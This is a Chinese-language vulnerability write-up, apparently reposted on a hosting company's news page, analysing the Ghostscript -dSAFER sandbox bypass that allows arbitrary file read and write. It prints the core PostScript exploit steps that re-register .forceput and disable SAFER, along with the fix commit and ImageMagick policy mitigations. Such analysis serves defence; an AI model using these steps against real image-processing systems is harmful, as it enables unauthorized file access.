温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

ghostscript任意文件读写漏洞的示例分析

发布时间:2021-12-16 10:25:51 来源:亿速云 阅读:135 作者:小新 栏目:大数据

这篇文章主要为大家展示了“ghostscript任意文件读写漏洞的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“ghostscript任意文件读写漏洞的示例分析”这篇文章吧。

0x00 漏洞背景

10 月 9号,Tavis Ormandy 通过公开邮件列表

(hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1682),

再次指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成任意文件读写。

ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。

在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,此次Taviso发现通过特殊的命令组使得.forceput留存于stack,通过再注册该命令进行forceput命令的利用,引发任意读写漏洞。

0x01 漏洞影响

version <= 9.26

(702f6982b63fca353d9106d2dbb6bb21f826c2e6) 

之前的版本

官方已给出缓解措施

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

但尚无release版本发布

漏洞导致所有引用ghostscript的上游应用受到影响。 常见应用如下:

  • imagemagick

  • libmagick

  • graphicsmagick

  • gimp

  • python-matplotlib

  • texlive-core

  • texmacs

  • latex2html

  • latex2rtf

0x02 漏洞分析

<dict> <key> <value> .forceput -
Equivalent to put, but works even if dict is not writable,
and (if dict is systemdict or the current save level is 0)
even if dict is in global VM and key and/or value is in local VM.
This operator should be used only initialization code,
and only in executeonly procedures: it must not be accessible after initialization.

官方对.forceput的使用介绍,能够强制更新dict中的值。

这次的漏洞主要原因也就是在触发错误的时候由于构造出.forceput留存在栈中,然后被注册成命令forceput进而对systemdict进行修改。

最终达到bypass safer以及开启文件读写权限等操作。

核心过程分析首先利用如下命令访问switch_to_normal_marking_ops

/pdfopdict null def

GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

触发异常后的栈情况

ghostscript任意文件读写漏洞的示例分析
利用如下命令将.forceput 注册成forceput

/forceput $error /command get def

然后即可通过如下正常命令对systemdict进行修改

systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
commit a54c9e61e7d02bbc620bcba9b1c208462a876afb (HEAD)
Author: Chris Liddell <chris.liddell@artifex.com>
Date:   Sat Sep 29 15:34:55 2018 +0100
Bug 699816: Improve hiding of security critical custom operators

   Make procedures that use .forceput/.forcedef/.forceundef into operators.

   The result of this is that errors get reported against the "top" operator,
   rather than the "called" operator within the procedure.

   For example:
   /myproc
   {
     myop
   } bind def

   If 'myop' throws an error, the error handler will be passed the 'myop'
   operator. Promoting 'myproc' to a operator means the error handler will be
   passed 'myproc'.

在这次更新中对该问题进行了修复

ghostscript任意文件读写漏洞的示例分析

在注册的时候都以odef注册成特殊的运算符使其无法被利用

0x03 利用效果

在9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6)依旧work

ghostscript任意文件读写漏洞的示例分析

ghostscript任意文件读写漏洞的示例分析

php ImageMagick demo

ghostscript任意文件读写漏洞的示例分析

ghostscript任意文件读写漏洞的示例分析

0x04 缓解措施

目前官方已给出缓解措施,建议更新ghostscript。

至少需要到

(a54c9e61e7d02bbc620bcba9b1c208462a876afb)

之后的版本

若无法更新可先尝试禁用使用gs解析ps文件

使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在中加入以下<policy>

(即禁用 PS、EPS、PDF、XPS coders):

<policymap>
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
</policymap>

以上是“ghostscript任意文件读写漏洞的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注亿速云行业资讯频道!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI